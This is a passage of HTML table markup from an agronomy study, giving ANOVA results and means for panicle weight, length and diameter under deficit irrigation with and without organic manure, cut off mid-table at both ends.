<td colspan=\"6\" style=\"width:450.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">*, and **: Significant at 0.05 and 0.01 level of probability respectively. ns: not significant at 0.05 level of probability. </span><span style=\"font-size:10.0pt\">Panicle weight (g):</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n</div>\r\n</div>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 4: </strong>The effect of organic manure on plant weight (g), length and diameter (cm), and grain weight. plant<sup>-1</sup> (g) under deficit irrigation.</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td colspan=\"3\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Panicle weight (g)</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"3\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Panicle length (cm)</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"3\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Panicle diameter (cm)</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:75.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Source of variance</span></strong></p>\r\n			</td>\r\n			<td style=\"width:22.55pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">df</span></strong></p>\r\n			</td>\r\n			<td style=\"width:38.85pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">MS</span></strong></p>\r\n			</td>\r\n			<td style=\"width:58.6pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Variance</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">%</span></strong></p>\r\n			</td>\r\n			<td style=\"width:34.05pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">P</span></strong></p>\r\n			</td>\r\n			<td style=\"width:43.75pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">MS</span></strong></p>\r\n			</td>\r\n			<td style=\"width:58.55pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Variance</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">%</span></strong></p>\r\n			</td>\r\n			<td style=\"width:34.6pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">P</span></strong></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">MS</span></strong></p>\r\n			</td>\r\n			<td style=\"width:58.55pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Variance</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">%</span></strong></p>\r\n			</td>\r\n			<td style=\"width:34.65pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">P</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:75.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Replications</span></strong></p>\r\n			</td>\r\n			<td style=\"width:22.55pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">2</span></strong></p>\r\n			</td>\r\n			<td style=\"width:38.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">60.93</span></p>\r\n			</td>\r\n			<td style=\"width:58.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.59</span></p>\r\n			</td>\r\n			<td style=\"width:34.05pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">-</span></strong></p>\r\n			</td>\r\n			<td style=\"width:43.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.722</span></p>\r\n			</td>\r\n			<td style=\"width:58.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.70</span></p>\r\n			</td>\r\n			<td style=\"width:34.6pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">-</span></strong></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.5972</span></p>\r\n			</td>\r\n			<td style=\"width:58.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.62</span></p>\r\n			</td>\r\n			<td style=\"width:34.65pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">-</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:75.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Irrigation level (I)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:22.55pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">2</span></strong></p>\r\n			</td>\r\n			<td style=\"width:38.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">134.17</span></p>\r\n			</td>\r\n			<td style=\"width:58.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.31</span></p>\r\n			</td>\r\n			<td style=\"width:34.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.365</span></p>\r\n			</td>\r\n			<td style=\"width:43.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">233.389</span></p>\r\n			</td>\r\n			<td style=\"width:58.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">365.30</span></p>\r\n			</td>\r\n			<td style=\"width:34.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&lt;.001</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">32.7639</span></p>\r\n			</td>\r\n			<td style=\"width:58.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">89.02</span></p>\r\n			</td>\r\n			<td style=\"width:34.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&lt;.001</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:75.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Organic amendment (O)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:22.55pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:38.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14.70</span></p>\r\n			</td>\r\n			<td style=\"width:58.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.83</span></p>\r\n			</td>\r\n			<td style=\"width:34.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.397</span></p>\r\n			</td>\r\n			<td style=\"width:43.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">128.000</span></p>\r\n			</td>\r\n			<td style=\"width:58.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">46.08</span></p>\r\n			</td>\r\n			<td style=\"width:34.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&lt;.001</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9.3889</span></p>\r\n			</td>\r\n			<td style=\"width:58.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">56.33</span></p>\r\n			</td>\r\n			<td style=\"width:34.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&lt;.001</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:75.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">I * O</span></strong></p>\r\n			</td>\r\n			<td style=\"width:22.55pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">2</span></strong></p>\r\n			</td>\r\n			<td style=\"width:38.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">69.80</span></p>\r\n			</td>\r\n			<td style=\"width:58.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3.95</span></p>\r\n			</td>\r\n			<td style=\"width:34.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.080</span></p>\r\n			</td>\r\n			<td style=\"width:43.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.167</span></p>\r\n			</td>\r\n			<td style=\"width:58.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.86</span></p>\r\n			</td>\r\n			<td style=\"width:34.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.235</span></p>\r\n			</td>\r\n			<td style=\"width:43.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.4306</span></p>\r\n			</td>\r\n			<td style=\"width:58.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.58</span></p>\r\n			</td>\r\n			<td style=\"width:34.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.155</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"11\" style=\"width:503.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">DF: Degree of Freedom = n - 1, MS: Mean Square</span><span style=\"font-size:10.0pt\"> = SS / DF, </span><span style=\"font-size:10.0pt\">SS: Sum of Squares, </span><span style=\"font-size:10.0pt\">Variance % = (MS Factor / MS Total) *&nbsp;100, P: Probability 0.05</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 5: </strong>Analysis of variance (ANOVA) of panicle weight (g), length and diameter (cm).</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Irrigation Level</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">(I)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Organic Amendment</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">(O)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Panicle weight</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">(g)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Panicle length</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">(cm)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Panicle diameter</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">(cm)</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:126.75pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">FI 100</span></strong></p>\r\n			</td>\r\n			<td style=\"width:92.35pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O0</span></strong></p>\r\n			</td>\r\n			<td style=\"width:76.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">40.3</span></p>\r\n			</td>\r\n			<td style=\"width:76.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">41.0</span></p>\r\n			</td>\r\n			<td style=\"width:78.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:92.35pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:76.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">43.9</span></p>\r\n			</td>\r\n			<td style=\"width:76.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">48.3</span></p>\r\n			</td>\r\n			<td style=\"width:78.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:219.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Mean</span></strong></p>\r\n			</td>\r\n			<td style=\"width:76.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">42.1<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:76.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">44.7<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:78.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11.1<sup>a</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:126.75pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">FI 80</span></strong></p>\r\n			</td>\r\n			<td style=\"width:92.35pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O0</span></strong></p>\r\n			</td>\r\n			<td style=\"width:76.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">36.4</span></p>\r\n			</td>\r\n			<td style=\"width:76.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">39.7</span></p>\r\n			</td>\r\n			<td style=\"width:78.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:92.35pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:76.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">30.6</span></p>\r\n			</td>\r\n			<td style=\"width:76.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">44.7</span></p>\r\n			</td>\r\n			<td style=\"width:78.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:219.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Mean</span></strong></p>\r\n			</td>\r\n			<td style=\"width:76.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">33.5<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:76.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">42.2<sup>b</sup></span></p>\r\n			</td>\r\n			<td style=\"width:78.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9.6<sup>b</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:126.75pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">FI 60</span></strong></p>\r\n			</td>\r\n			<td style=\"width:92.35pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O0</span></strong></p>\r\n			</td>\r\n			<td style=\"width:76.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">30.6</span></p>\r\n			</td>\r\n			<td style=\"width:76.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">31.0</span></p>\r\n			</td>\r\n			<td style=\"width:78.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:92.35pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:76.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">38.1</span></p>\r\n			</td>\r\n			<td style=\"width:76.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">34.7</span></p>\r\n			</td>\r\n			<td style=\"width:78.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:219.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Mean</span></strong></p>\r\n			</td>\r\n			<td style=\"width:76.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">34.4<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:76.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">32.8<sup>c</sup></span></p>\r\n			</td>\r\n			<td style=\"width:78.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.5<sup>c</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:126.75pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Mean over irrigation level</span></strong></p>\r\n			</td>\r\n			<td style=\"width:92.35pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O0</span></strong></p>\r\n			</td>\r\n			<td style=\"width:76.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">35.8<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:76.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">37.2<sup>b</sup></span></p>\r\n			</td>\r\n			<td style=\"width:78.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.3<sup>b</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:92.35pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:76.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">37.6<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:76.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">42.6<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:78.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9.8<sup>a</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:219.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">General mean</span></strong></p>\r\n			</td>\r\n			<td style=\"width:76.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">36.7</span></p>\r\n			</td>\r\n			<td style=\"width:76.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">39.9</span></p>\r\n			</td>\r\n			<td style=\"width:78.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9.1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:219.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">LSD (I)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:76.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16.2<sup>ns</sup></span></p>\r\n			</td>\r\n			<td style=\"width:76.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.3**</span></p>\r\n			</td>\r\n			<td style=\"width:78.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.0**</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:219.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">LSD (O)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:76.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.8<sup>ns</sup></span></p>\r\n			</td>\r\n			<td style=\"width:76.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.9**</span></p>\r\n			</td>\r\n			<td style=\"width:78.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.5**</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:219.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">LSD (I*O)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:76.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">15.9<sup>ns</sup></span></p>\r\n			</td>\r\n			<td style=\"width:76.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.4</span></p>\r\n			</td>\r\n			<td style=\"width:78.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.0<sup>ns</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:219.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">CV%</span></strong></p>\r\n			</td>\r\n			<td style=\"width:76.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11.5</span></p>\r\n			</td>\r\n			<td style=\"width:76.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.2</span></p>\r\n			</td>\r\n			<td style=\"width:78.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"5\" style=\"width:450.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">*, and **: Significant at 0.05 and 0.01 level of probability respectively. ns: not significant at 0.05 level of probability.</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 6: </strong>The effect of organic manure on panicle weight (g), length and diameter (cm) under deficit irrigation.</span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td colspan=\"3\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:justify\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Plant number (thousands. ha<sup>-1</sup>)</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"3\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:justify\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Grain yield (Kg. ha<sup>-1</sup>)</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"3\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:justify\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Harvest index (%)</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:70.95pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">Source of variance</span></strong></p>\r\n			</td>\r\n			<td style=\"width:21.45pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">df</span></strong></p>\r\n			</td>\r\n			<td style=\"width:43.4pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">MS</span></strong></p>\r\n			</td>\r\n			<td style=\"width:55.25pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">Variance</span></strong></p>\r\n\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">%</span></strong></p>\r\n			</td>\r\n			<td style=\"width:48.45pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">P</span></strong></p>\r\n			</td>\r\n			<td style=\"width:43.3pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">MS</span></strong></p>\r\n			</td>\r\n			<td style=\"width:55.2pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">Variance</span></strong></p>\r\n\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">%</span></strong></p>\r\n			</td>\r\n			<td style=\"width:34.25pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">P</span></strong></p>\r\n			</td>\r\n			<td style=\"width:38.55pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">MS</span></strong></p>\r\n			</td>\r\n			<td style=\"width:55.2pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">Variance</span></strong></p>\r\n\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">%</span></strong></p>\r\n			</td>\r\n			<td style=\"width:33.6pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">P</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:70.95pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">Replications</span></strong></p>\r\n			</td>\r\n			<td style=\"width:21.45pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">2</span></strong></p>\r\n			</td>\r\n			<td style=\"width:43.4pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">9.290</span></p>\r\n			</td>\r\n			<td style=\"width:55.25pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">&nbsp;0.46</span></p>\r\n			</td>\r\n			<td style=\"width:48.45pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">-</span></strong></p>\r\n			</td>\r\n			<td style=\"width:43.3pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.00394</span></p>\r\n			</td>\r\n			<td style=\"width:55.2pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">&nbsp;0.35</span></p>\r\n			</td>\r\n			<td style=\"width:34.25pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">-</span></strong></p>\r\n			</td>\r\n			<td style=\"width:38.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">13.501</span></p>\r\n			</td>\r\n			<td style=\"width:55.2pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">&nbsp;0.76</span></p>\r\n			</td>\r\n			<td style=\"width:33.6pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">-</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:70.95pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">Irrigation level (I)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:21.45pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">2</span></strong></p>\r\n			</td>\r\n			<td style=\"width:43.4pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">27.332</span></p>\r\n			</td>\r\n			<td style=\"width:55.25pt\">\r\n			<p style=\"text-align:justify\"><span 